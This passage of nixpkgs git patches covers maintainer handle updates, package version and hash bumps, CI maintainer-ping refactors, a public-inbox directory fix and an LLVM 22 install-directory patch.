   pagedMov = {
     email = "kylerclay@proton.me";
-    github = "pagedMov";
+    github = "your-github-username";
     githubId = 19557376;
     name = "Kyler Clay";
     keys = [ { fingerprint = "784B 3623 94E7 8F11 0B9D AE0F 56FD CFA6 2A93 B51E"; } ];
@@ -19750,7 +19750,7 @@
   poopsicles = {
     name = "Fumnanya";
     email = "fmowete@outlook.com";
-    github = "poopsicles";
+    github = "dibenzepin";
     githubId = 87488715;
   };
   PopeRigby = {
@@ -20892,7 +20892,7 @@
   };
   rgri = {
     name = "shortcut";
-    github = "rgri";
+    github = "yliceee";
     githubId = 45253749;
   };
   rgrinberg = {
@@ -21217,7 +21217,7 @@
   };
   robertrichter = {
     email = "robert.richter@rrcomtech.com";
-    github = "rrcomtech";
+    github = "judgeNotFound";
     githubId = 50635122;
     name = "Robert Richter";
   };
@@ -21478,7 +21478,7 @@
   };
   rsrohitsingh682 = {
     email = "rsrohitsingh682@gmail.com";
-    github = "rsrohitsingh682";
+    github = "sinrohit";
     githubId = 45477585;
     name = "Rohit Singh";
   };
@@ -22519,7 +22519,7 @@
   };
   shadows_withal = {
     email = "shadows@with.al";
-    github = "shadows-withal";
+    github = "manyinsects";
     githubId = 6445316;
     name = "liv";
   };
@@ -24910,7 +24910,7 @@
   tirex = {
     email = "szymon@kliniewski.pl";
     name = "Szymon Kliniewski";
-    github = "NoneTirex";
+    github = "RealTirex";
     githubId = 26038207;
   };
   tirimia = {
@@ -26375,7 +26375,7 @@
   wenngle = {
     name = "Zeke Stephens";
     email = "zekestephens@gmail.com";
-    github = "wenngle";
+    github = "zekestephens";
     githubId = 63376671;
   };
   wentam = {
@@ -27302,7 +27302,7 @@
   yusdacra = {
     email = "y.bera003.06@protonmail.com";
     matrix = "@yusdacra:nixos.dev";
-    github = "yusdacra";
+    github = "90-008";
     githubId = 19897088;
     name = "Yusuf Bera Ertan";
     keys = [ { fingerprint = "9270 66BD 8125 A45B 4AC4 0326 6180 7181 F60E FCB2"; } ];
@@ -27537,7 +27537,7 @@
   ziguana = {
     name = "Zig Uana";
     email = "git@ziguana.dev";
-    github = "ziguana";
+    github = "nomadic-stare";
     githubId = 45833444;
   };
   zimbatm = {

From 12c008ecbf7058dbdb32477a708220dc7890f60a Mon Sep 17 00:00:00 2001
From: Varun Narravula <varun@snare.dev>
Date: Sun, 31 Aug 2025 16:47:03 -0700
Subject: [PATCH 4131/4511] optnix: 0.2.0 -> 0.3.0

Changelog: https://github.com/water-sucks/optnix/compare/v0.2.0...v0.3.0
(cherry picked from commit 455ed05807baefe63435507a767496810fe46650)
---
 pkgs/by-name/op/optnix/package.nix | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/op/optnix/package.nix b/pkgs/by-name/op/optnix/package.nix
index 81892cdd1b7f..7a629c3dbb9e 100644
--- a/pkgs/by-name/op/optnix/package.nix
+++ b/pkgs/by-name/op/optnix/package.nix
@@ -5,20 +5,24 @@
   buildGoModule,
   installShellFiles,
   nix-update-script,
+  scdoc,
 }:
 buildGoModule (finalAttrs: {
   pname = "optnix";
-  version = "0.2.0";
+  version = "0.3.0";
   src = fetchFromGitHub {
     owner = "water-sucks";
     repo = "optnix";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-CI0D70oP4usQXh39wm2z+s9QKQaaHFB6og3B/VHaAiY=";
+    hash = "sha256-kPCRCnjuKZd6RE5pkQJMYWpexnMyhUy9jrBFSztkiLM=";
   };
 
-  vendorHash = "sha256-/rV21mX6VrJj39M6dBw4ubp6+O47hxeLn0ZcsG6Ujno=";
+  vendorHash = "sha256-g/H91PiHWSRRQOkaobw2wAYX/07DFxWTCTlKzf7BT1Y=";
 
-  nativeBuildInputs = [ installShellFiles ];
+  nativeBuildInputs = [
+    installShellFiles
+    scdoc
+  ];
 
   env = {
     CGO_ENABLED = 0;
@@ -27,7 +31,7 @@ buildGoModule (finalAttrs: {
 
   buildPhase = ''
     runHook preBuild
-    make all
+    make all man
     runHook postBuild
   '';
 
@@ -36,6 +40,9 @@ buildGoModule (finalAttrs: {
 
     install -Dm755 ./optnix -t $out/bin
 
+    install -Dm755 ./optnix.1 -t $out/share/man/man1
+    install -Dm755 ./optnix.toml.5 -t $out/share/man/man5
+
     runHook postInstall
   '';
 

From 76505d15910fb73be98698eac1e406ed559d7dc8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 1 Sep 2025 09:22:45 +0000
Subject: [PATCH 4132/4511] discord-ptb: 0.0.156 -> 0.0.158

(cherry picked from commit b4c788c7de3e3fcb962b8fe6425c3b5ef8babab3)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index cf639b34ae8c..843e86cfcd99 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.107";
-        ptb = "0.0.156";
+        ptb = "0.0.158";
         canary = "0.0.745";
         development = "0.0.84";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-IU2zV/PviEXniupYz4sUGdu2PugDPiXaH64+SZTRK/0=";
+        hash = "sha256-LPzdVaXQXmnlD274ESZ2/AceXcoazReA1HemuTcdj1o=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From f7765deb89191e742301d157d496b02f4b07f62c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 31 Aug 2025 20:44:17 +0000
Subject: [PATCH 4133/4511] chhoto-url: 6.2.13 -> 6.3.0

Changelog: https://github.com/SinTan1729/chhoto-url/releases/tag/6.3.0
Diff: https://github.com/SinTan1729/chhoto-url/compare/6.2.13...6.3.0
(cherry picked from commit 1f164a442aa4c4e57b63002dd52df9174a18a142)
---
 pkgs/by-name/ch/chhoto-url/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chhoto-url/package.nix b/pkgs/by-name/ch/chhoto-url/package.nix
index 2a9abd251ea6..2772443a8e3a 100644
--- a/pkgs/by-name/ch/chhoto-url/package.nix
+++ b/pkgs/by-name/ch/chhoto-url/package.nix
@@ -8,13 +8,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "chhoto-url";
-  version = "6.2.13";
+  version = "6.3.0";
 
   src = fetchFromGitHub {
     owner = "SinTan1729";
     repo = "chhoto-url";
     tag = finalAttrs.version;
-    hash = "sha256-onGmDAVhT2lzq2pQ5runGuHgPdh1MjgFLU7DUvN7nt0=";
+    hash = "sha256-y7koflkcQv9JsTqbUzyK0S3lClU9188532J5UVWrM4g=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/actix";
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail "./resources/" "${placeholder "out"}/share/chhoto-url/resources/"
   '';
 
-  cargoHash = "sha256-GbjbVr82Aj/CRdBl9gPGwHiyrc7l2F918DNnlEoPI58=";
+  cargoHash = "sha256-eB56ZEWAp5RBY4EFyuGzwamDRxDz0Ip3mzuzLwyZR/I=";
 
   postInstall = ''
     mkdir -p $out/share/chhoto-url

From 7dd8ed0a70132310fc19a044d94e2973a38093c8 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 30 Aug 2025 15:24:13 +0200
Subject: [PATCH 4134/4511] ci/eval/compare: ping maintainers of removed
 packages

This change pings maintainers of actually removed packages, aka where
the package's expression is deleted.

This will not ping maintainers of packages that become invisible,
because a (transitive) dependency of them is marked as insecure or
broken.

(cherry picked from commit 540e188796bfdb9580218f3be979a372023c27e7)
---
 ci/eval/compare/default.nix     | 2 ++
 ci/eval/compare/maintainers.nix | 3 ++-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index 9060d357d662..b338d8f82d6d 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -78,6 +78,7 @@ let
   diffAttrs = builtins.fromJSON (builtins.readFile "${combinedDir}/combined-diff.json");
 
   rebuildsPackagePlatformAttrs = convertToPackagePlatformAttrs diffAttrs.rebuilds;
+  removedPackagePlatformAttrs = convertToPackagePlatformAttrs diffAttrs.removed;
 
   changed-paths =
     let
@@ -117,6 +118,7 @@ let
   maintainers = callPackage ./maintainers.nix { } {
     changedattrs = lib.attrNames (lib.groupBy (a: a.name) rebuildsPackagePlatformAttrs);
     changedpathsjson = touchedFilesJson;
+    removedattrs = lib.attrNames (lib.groupBy (a: a.name) removedPackagePlatformAttrs);
     inherit byName;
   };
 in
diff --git a/ci/eval/compare/maintainers.nix b/ci/eval/compare/maintainers.nix
index 43ae050acba4..6c4be96dddbf 100644
--- a/ci/eval/compare/maintainers.nix
+++ b/ci/eval/compare/maintainers.nix
@@ -5,6 +5,7 @@
 {
   changedattrs,
   changedpathsjson,
+  removedattrs,
   byName ? false,
 }:
 let
@@ -24,7 +25,7 @@ let
   enrichedAttrs = builtins.map (name: {
     path = lib.splitString "." name;
     name = name;
-  }) changedattrs;
+  }) (changedattrs ++ removedattrs);
 
   validPackageAttributes = builtins.filter (
     pkg:

From f6634a6670386d5dd57d40ae5913441a50104dd7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 30 Aug 2025 15:31:12 +0200
Subject: [PATCH 4135/4511] ci/eval/compare: remove package validity check

This should not be necessary anymore, because packages that fail to
evaluate should already be filtered out by the attrpath generation step
in main eval.

(cherry picked from commit 0753aa45805ec81f120a6d059979623ad3581416)
---
 ci/eval/compare/maintainers.nix | 18 +-----------------
 1 file changed, 1 insertion(+), 17 deletions(-)

diff --git a/ci/eval/compare/maintainers.nix b/ci/eval/compare/maintainers.nix
index 6c4be96dddbf..ec3dc2dcc837 100644
--- a/ci/eval/compare/maintainers.nix
+++ b/ci/eval/compare/maintainers.nix
@@ -27,25 +27,9 @@ let
     name = name;
   }) (changedattrs ++ removedattrs);
 
-  validPackageAttributes = builtins.filter (
-    pkg:
-    if (lib.attrsets.hasAttrByPath pkg.path pkgs) then
-      (
-        let
-          value = lib.attrsets.attrByPath pkg.path null pkgs;
-        in
-        if (builtins.tryEval value).success then
-          if value != null then true else builtins.trace "${pkg.name} exists but is null" false
-        else
-          builtins.trace "Failed to access ${pkg.name} even though it exists" false
-      )
-    else
-      builtins.trace "Failed to locate ${pkg.name}." false
-  ) enrichedAttrs;
-
   attrsWithPackages = builtins.map (
     pkg: pkg // { package = lib.attrsets.attrByPath pkg.path null pkgs; }
-  ) validPackageAttributes;
+  ) enrichedAttrs;
 
   attrsWithMaintainers = builtins.map (
     pkg:

From d766035d6544bb385b307c5de6c4bb5ed08c91cd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 30 Aug 2025 15:43:47 +0200
Subject: [PATCH 4136/4511] ci/eval/compare: only check changed attrpaths

It makes no sense to check newly added attrpaths for maintainers on the
target branch - by definition these attrpaths won't exist, yet. We can
avoid falling back to `null` for these etc.

(cherry picked from commit e88dd3a8b278ffe22b7de999183220beeda05a54)
---
 ci/eval/compare/default.nix     | 3 ++-
 ci/eval/compare/maintainers.nix | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index b338d8f82d6d..cfd9b78510d0 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -77,6 +77,7 @@ let
   # - values: lists of `packagePlatformPath`s
   diffAttrs = builtins.fromJSON (builtins.readFile "${combinedDir}/combined-diff.json");
 
+  changedPackagePlatformAttrs = convertToPackagePlatformAttrs diffAttrs.changed;
   rebuildsPackagePlatformAttrs = convertToPackagePlatformAttrs diffAttrs.rebuilds;
   removedPackagePlatformAttrs = convertToPackagePlatformAttrs diffAttrs.removed;
 
@@ -116,7 +117,7 @@ let
     );
 
   maintainers = callPackage ./maintainers.nix { } {
-    changedattrs = lib.attrNames (lib.groupBy (a: a.name) rebuildsPackagePlatformAttrs);
+    changedattrs = lib.attrNames (lib.groupBy (a: a.name) changedPackagePlatformAttrs);
     changedpathsjson = touchedFilesJson;
     removedattrs = lib.attrNames (lib.groupBy (a: a.name) removedPackagePlatformAttrs);
     inherit byName;
diff --git a/ci/eval/compare/maintainers.nix b/ci/eval/compare/maintainers.nix
index ec3dc2dcc837..00a47e7c494d 100644
--- a/ci/eval/compare/maintainers.nix
+++ b/ci/eval/compare/maintainers.nix
@@ -28,7 +28,7 @@ let
   }) (changedattrs ++ removedattrs);
 
   attrsWithPackages = builtins.map (
-    pkg: pkg // { package = lib.attrsets.attrByPath pkg.path null pkgs; }
+    pkg: pkg // { package = lib.getAttrFromPath pkg.path pkgs; }
   ) enrichedAttrs;
 
   attrsWithMaintainers = builtins.map (

From dd3e8f668a65215a6ba7c7b28dca44912bab787b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 30 Aug 2025 15:37:59 +0200
Subject: [PATCH 4137/4511] ci/eval/compare: refactor

Simplification after the last step.

(cherry picked from commit 4126ef7e00fe76fb543d5235f1e5fe33dc3e50e2)
---
 ci/eval/compare/maintainers.nix | 21 ++++++---------------
 1 file changed, 6 insertions(+), 15 deletions(-)

diff --git a/ci/eval/compare/maintainers.nix b/ci/eval/compare/maintainers.nix
index 00a47e7c494d..bc1cfb5a3cfb 100644
--- a/ci/eval/compare/maintainers.nix
+++ b/ci/eval/compare/maintainers.nix
@@ -22,27 +22,18 @@ let
 
   anyMatchingFiles = files: builtins.any anyMatchingFile files;
 
-  enrichedAttrs = builtins.map (name: {
-    path = lib.splitString "." name;
-    name = name;
-  }) (changedattrs ++ removedattrs);
-
-  attrsWithPackages = builtins.map (
-    pkg: pkg // { package = lib.getAttrFromPath pkg.path pkgs; }
-  ) enrichedAttrs;
-
   attrsWithMaintainers = builtins.map (
-    pkg:
+    name:
     let
-      meta = pkg.package.meta or { };
+      package = lib.getAttrFromPath (lib.splitString "." name) pkgs;
     in
-    pkg
-    // {
+    {
+      inherit name package;
       # TODO: Refactor this so we can ping entire teams instead of the individual members.
       # Note that this will require keeping track of GH team IDs in "maintainers/teams.nix".
-      maintainers = meta.maintainers or [ ];
+      maintainers = package.meta.maintainers or [ ];
     }
-  ) attrsWithPackages;
+  ) (changedattrs ++ removedattrs);
 
   relevantFilenames =
     drv:

From 368188fa0057581ccd24cc8ac6b84cf7fd4b0c5d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 1 Sep 2025 03:25:39 +0000
Subject: [PATCH 4138/4511] bakelite: 0.4.2-unstable-2023-05-30 ->
 0.4.2-unstable-2024-08-02

(cherry picked from commit 00aba3368057412e42833dd7651c2dea0cfb2f10)
---
 pkgs/by-name/ba/bakelite/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ba/bakelite/package.nix b/pkgs/by-name/ba/bakelite/package.nix
index ab9e57dcd74b..252f4b36a2da 100644
--- a/pkgs/by-name/ba/bakelite/package.nix
+++ b/pkgs/by-name/ba/bakelite/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation {
   pname = "bakelite";
-  version = "0.4.2-unstable-2023-05-30";
+  version = "0.4.2-unstable-2024-08-02";
 
   src = fetchFromGitHub {
     owner = "richfelker";
     repo = "bakelite";
-    rev = "65d69e88e0972d1493ebbd9bf9d1bfde36272636";
-    hash = "sha256-OjBw9aYD2h7BWYgQzZp03hGCyQcRgmm2AjrcT/QrQAo=";
+    rev = "bc79a16b4414702c579143154d94a86666e99b78";
+    hash = "sha256-rRJrtCcgfbqC/4qQiTVeUUcPqoJlNfitYRqIO58AmpA=";
   };
 
   hardeningEnable = [ "pie" ];

From 03a9484617e33660fe3d72cada4ee46fb17eaa24 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Mon, 1 Sep 2025 09:21:11 -0400
Subject: [PATCH 4139/4511] nixos/tests/openvswitch: improve ping check
 resiliency

---
 nixos/tests/openvswitch.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/openvswitch.nix b/nixos/tests/openvswitch.nix
index 679641717a1f..cd725ccb4071 100644
--- a/nixos/tests/openvswitch.nix
+++ b/nixos/tests/openvswitch.nix
@@ -56,7 +56,7 @@
       node2.wait_for_unit("ovsdb.service")
       node2.wait_for_unit("ovs-vswitchd.service")
 
-      node1.succeed("ping -c3 10.0.0.2")
-      node2.succeed("ping -c3 10.0.0.1")
+      node1.wait_until_succeeds("ping -c1 10.0.0.2", timeout=30)
+      node2.wait_until_succeeds("ping -c1 10.0.0.1", timeout=30)
     '';
 }

From 5266a6d93832bd52a3db9268573c72ac3959bac4 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Wed, 20 Aug 2025 11:18:53 +0200
Subject: [PATCH 4140/4511] nixos/public-inbox: fix inboxdir option
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This wasn't consistently used — sometimes the default value was
hardcoded.

(cherry picked from commit 0fdcb36005114a0b3526cdbe6c256bc6d96eb78b)
---
 nixos/modules/services/mail/public-inbox.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/mail/public-inbox.nix b/nixos/modules/services/mail/public-inbox.nix
index a2b536e29aef..9b28bdad020b 100644
--- a/nixos/modules/services/mail/public-inbox.nix
+++ b/nixos/modules/services/mail/public-inbox.nix
@@ -630,7 +630,7 @@ in
               ''
               + concatStrings (
                 mapAttrsToList (name: inbox: ''
-                  if [ ! -e ${stateDir}/inboxes/${escapeShellArg name} ]; then
+                  if [ ! -e ${escapeShellArg inbox.inboxdir} ]; then
                     # public-inbox-init creates an inbox and adds it to a config file.
                     # It tries to atomically write the config file by creating
                     # another file in the same directory, and renaming it.
@@ -643,7 +643,7 @@ in
                       ${escapeShellArgs (
                         [
                           name
-                          "${stateDir}/inboxes/${name}"
+                          inbox.inboxdir
                           inbox.url
                         ]
                         ++ inbox.address
@@ -653,9 +653,9 @@ in
                   fi
 
                   ln -sf ${inbox.description} \
-                    ${stateDir}/inboxes/${escapeShellArg name}/description
+                    ${escapeShellArg inbox.inboxdir}/description
 
-                  export GIT_DIR=${stateDir}/inboxes/${escapeShellArg name}/all.git
+                  export GIT_DIR=${escapeShellArg inbox.inboxdir}/all.git
                   if test -d "$GIT_DIR"; then
                     # Config is inherited by each epoch repository,
                     # so just needs to be set for all.git.

From 10265dc092a77dab188d1bca3cbfc602f8b3470d Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 24 Aug 2025 23:21:31 -0700
Subject: [PATCH 4141/4511] llvmPackages_git: 22.0.0-unstable-2025-08-17 ->
 22.0.0-unstable-2025-08-24

(cherry picked from commit 2e8a2ab9e3aca001b685be90dac72876e9b05de9)
---
 .../llvm/22/llvm/gnu-install-dirs.patch       | 139 ++++++++++++++++++
 .../compilers/llvm/common/patches.nix         |   5 +
 pkgs/development/compilers/llvm/default.nix   |   6 +-
 3 files changed, 147 insertions(+), 3 deletions(-)
 create mode 100644 pkgs/development/compilers/llvm/22/llvm/gnu-install-dirs.patch

diff --git a/pkgs/development/compilers/llvm/22/llvm/gnu-install-dirs.patch b/pkgs/development/compilers/llvm/22/llvm/gnu-install-dirs.patch
new file mode 100644
index 000000000000..38282f7de30d
--- /dev/null
+++ b/pkgs/development/compilers/llvm/22/llvm/gnu-install-dirs.patch
@@ -0,0 +1,139 @@
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index a90be4f6235e..be9cef03bfea 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -1207,9 +1207,9 @@ if (NOT TENSORFLOW_AOT_PATH STREQUAL "")
+   add_subdirectory(${TENSORFLOW_AOT_PATH}/xla_aot_runtime_src
+     ${CMAKE_ARCHIVE_OUTPUT_DIRECTORY}/tf_runtime)
+   install(TARGETS tf_xla_runtime EXPORT LLVMExports
+-    ARCHIVE DESTINATION lib${LLVM_LIBDIR_SUFFIX} COMPONENT tf_xla_runtime)
++    ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX} COMPONENT tf_xla_runtime)
+   install(TARGETS tf_xla_runtime EXPORT LLVMDevelopmentExports
+-    ARCHIVE DESTINATION lib${LLVM_LIBDIR_SUFFIX} COMPONENT tf_xla_runtime)
++    ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX} COMPONENT tf_xla_runtime)
+   set_property(GLOBAL APPEND PROPERTY LLVM_EXPORTS tf_xla_runtime)
+   # Once we add more modules, we should handle this more automatically.
+   if (DEFINED LLVM_OVERRIDE_MODEL_HEADER_INLINERSIZEMODEL)
+diff --git a/cmake/modules/AddLLVM.cmake b/cmake/modules/AddLLVM.cmake
+index 835750e2d2a1..f7400f708535 100644
+--- a/cmake/modules/AddLLVM.cmake
++++ b/cmake/modules/AddLLVM.cmake
+@@ -974,8 +974,8 @@ macro(add_llvm_library name)
+       endif()
+       install(TARGETS ${name}
+               ${export_to_llvmexports}
+-              LIBRARY DESTINATION lib${LLVM_LIBDIR_SUFFIX} COMPONENT ${name}
+-              ARCHIVE DESTINATION lib${LLVM_LIBDIR_SUFFIX} COMPONENT ${name}
++              LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX} COMPONENT ${name}
++              ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX} COMPONENT ${name}
+               RUNTIME DESTINATION "${CMAKE_INSTALL_BINDIR}" COMPONENT ${name})
+ 
+       if (NOT LLVM_ENABLE_IDE)
+@@ -2263,7 +2263,7 @@ function(llvm_install_library_symlink name dest type)
+     set(LLVM_LINK_OR_COPY copy)
+   endif()
+ 
+-  set(output_dir lib${LLVM_LIBDIR_SUFFIX})
++  set(output_dir ${CMAKE_INSTALL_FULL_LIBDIR}${LLVM_LIBDIR_SUFFIX})
+   if((WIN32 OR CYGWIN) AND "${type}" STREQUAL "SHARED")
+     set(output_dir "${CMAKE_INSTALL_BINDIR}")
+   endif()
+@@ -2539,16 +2539,37 @@ function(llvm_setup_rpath name)
+ 
+   if (APPLE)
+     set(_install_name_dir INSTALL_NAME_DIR "@rpath")
+-    set(_install_rpath "@loader_path/../lib${LLVM_LIBDIR_SUFFIX}" ${extra_libdir})
++    set(_install_rpath ${extra_libdir})
+   elseif("${CMAKE_SYSTEM_NAME}" MATCHES "AIX" AND BUILD_SHARED_LIBS)
+     # $ORIGIN is not interpreted at link time by aix ld.
+     # Since BUILD_SHARED_LIBS is only recommended for use by developers,
+     # hardcode the rpath to build/install lib dir first in this mode.
+     # FIXME: update this when there is better solution.
+-    set(_install_rpath "${LLVM_LIBRARY_OUTPUT_INTDIR}" "${CMAKE_INSTALL_PREFIX}/lib${LLVM_LIBDIR_SUFFIX}" ${extra_libdir})
++    set(_install_rpath "${LLVM_LIBRARY_OUTPUT_INTDIR}" "${CMAKE_INSTALL_FULL_PREFIX}${LLVM_LIBDIR_SUFFIX}" ${extra_libdir})
+   elseif(UNIX)
++    # Note that we add `extra_libdir` (aka `LLVM_LIBRARY_DIR` in our case) back
++    # to `_install_rpath` here.
++    #
++    # In nixpkgs we do not build and install LLVM alongside rdeps of LLVM (i.e.
++    # clang); instead LLVM is its own package and thus lands at its own nix
++    # store path. This makes it so that the default relative rpath (`../lib/`)
++    # does not point at the LLVM shared objects.
++    #
++    # More discussion here:
++    #   - https://github.com/NixOS/nixpkgs/pull/235624#discussion_r1220150329
++    #   - https://reviews.llvm.org/D146918 (16.0.5+)
++    #
++    # Note that we leave `extra_libdir` in `_build_rpath`: without FHS there is
++    # no potential that this will result in us pulling in the "wrong" LLVM.
++    # Adding this to the build rpath means we aren't forced to use
++    # `installCheckPhase` instead of `checkPhase` (i.e. binaries in the build
++    # dir, pre-install, will have the right rpath for LLVM).
++    #
++    # As noted in the differential above, an alternative solution is to have
++    # all rdeps of nixpkgs' LLVM (that use the AddLLVM.cmake machinery) set
++    # `CMAKE_INSTALL_RPATH`.
+     set(_build_rpath "\$ORIGIN/../lib${LLVM_LIBDIR_SUFFIX}" ${extra_libdir})
+-    set(_install_rpath "\$ORIGIN/../lib${LLVM_LIBDIR_SUFFIX}")
++    set(_install_rpath ${extra_libdir})
+     if("${CMAKE_SYSTEM_NAME}" MATCHES "(FreeBSD|DragonFly)")
+       set_property(TARGET ${name} APPEND_STRING PROPERTY
+                    LINK_FLAGS " -Wl,-z,origin ")
+diff --git a/cmake/modules/AddOCaml.cmake b/cmake/modules/AddOCaml.cmake
+index 2d9116b08a52..2dd7cad4ec66 100644
+--- a/cmake/modules/AddOCaml.cmake
++++ b/cmake/modules/AddOCaml.cmake
+@@ -147,9 +147,9 @@ function(add_ocaml_library name)
+   endforeach()
+ 
+   if( APPLE )
+-    set(ocaml_rpath "@executable_path/../../../lib${LLVM_LIBDIR_SUFFIX}")
++    set(ocaml_rpath ${LLVM_LIBRARY_DIR})
+   elseif( UNIX )
+-    set(ocaml_rpath "\\$ORIGIN/../../../lib${LLVM_LIBDIR_SUFFIX}")
++    set(ocaml_rpath ${LLVM_LIBRARY_DIR})
+   endif()
+   list(APPEND ocaml_flags "-ldopt" "-Wl,-rpath,${ocaml_rpath}")
+ 
+diff --git a/cmake/modules/CMakeLists.txt b/cmake/modules/CMakeLists.txt
+index ef4cfa3acdb5..7478e157a7c2 100644
+--- a/cmake/modules/CMakeLists.txt
++++ b/cmake/modules/CMakeLists.txt
+@@ -130,7 +130,7 @@ set(LLVM_CONFIG_INCLUDE_DIRS
+   )
+ list(REMOVE_DUPLICATES LLVM_CONFIG_INCLUDE_DIRS)
+ 
+-extend_path(LLVM_CONFIG_LIBRARY_DIR "\${LLVM_INSTALL_PREFIX}" "lib\${LLVM_LIBDIR_SUFFIX}")
++extend_path(LLVM_CONFIG_LIBRARY_DIR "\${LLVM_INSTALL_PREFIX}" "${CMAKE_INSTALL_LIBDIR}\${LLVM_LIBDIR_SUFFIX}")
+ set(LLVM_CONFIG_LIBRARY_DIRS
+   "${LLVM_CONFIG_LIBRARY_DIR}"
+   # FIXME: Should there be other entries here?
+diff --git a/tools/llvm-config/BuildVariables.inc.in b/tools/llvm-config/BuildVariables.inc.in
+index e4e1d449bf4d..3aab6ea7bf8b 100644
+--- a/tools/llvm-config/BuildVariables.inc.in
++++ b/tools/llvm-config/BuildVariables.inc.in
+@@ -23,6 +23,7 @@
+ #define LLVM_CXXFLAGS "@LLVM_CXXFLAGS@"
+ #define LLVM_BUILDMODE "@LLVM_BUILDMODE@"
+ #define LLVM_LIBDIR_SUFFIX "@LLVM_LIBDIR_SUFFIX@"
++#define LLVM_INSTALL_LIBDIR "@CMAKE_INSTALL_LIBDIR@"
+ #define LLVM_INSTALL_INCLUDEDIR "@CMAKE_INSTALL_INCLUDEDIR@"
+ #define LLVM_INSTALL_PACKAGE_DIR "@LLVM_INSTALL_PACKAGE_DIR@"
+ #define LLVM_TARGETS_BUILT "@LLVM_TARGETS_BUILT@"
+diff --git a/tools/llvm-config/llvm-config.cpp b/tools/llvm-config/llvm-config.cpp
+index 49df8fdcb7f7..c7cb05b82821 100644
+--- a/tools/llvm-config/llvm-config.cpp
++++ b/tools/llvm-config/llvm-config.cpp
+@@ -365,7 +365,11 @@ int main(int argc, char **argv) {
+       sys::fs::make_absolute(ActivePrefix, Path);
+       ActiveBinDir = std::string(Path);
+     }
+-    ActiveLibDir = ActivePrefix + "/lib" + LLVM_LIBDIR_SUFFIX;
++    {
++      SmallString<256> Path(LLVM_INSTALL_LIBDIR LLVM_LIBDIR_SUFFIX);
++      sys::fs::make_absolute(ActivePrefix, Path);
++      ActiveLibDir = std::string(Path);
++    }
+     {
+       SmallString<256> Path(LLVM_INSTALL_PACKAGE_DIR);
+       sys::fs::make_absolute(ActivePrefix, Path);
diff --git a/pkgs/development/compilers/llvm/common/patches.nix b/pkgs/development/compilers/llvm/common/patches.nix
index cc5872951c3b..5956619bde55 100644
--- a/pkgs/development/compilers/llvm/common/patches.nix
+++ b/pkgs/development/compilers/llvm/common/patches.nix
@@ -48,8 +48,13 @@
     }
   ];
   "llvm/gnu-install-dirs.patch" = [
+    {
+      after = "22";
+      path = ../22;
+    }
     {
       after = "21";
+      before = "22";
       path = ../21;
     }
     {
diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 945832aa205c..d1192f3b9cec 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -34,9 +34,9 @@ let
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.1.0-rc1".officialRelease.sha256 = "sha256-EZMG3kNqGTvKSuvslbrtNnyqBCG5C2gN9Y2qHbiuh8Q=";
     "22.0.0-git".gitRelease = {
-      rev = "97d5d483ecc67d0b786a53d065b7202908cb4047";
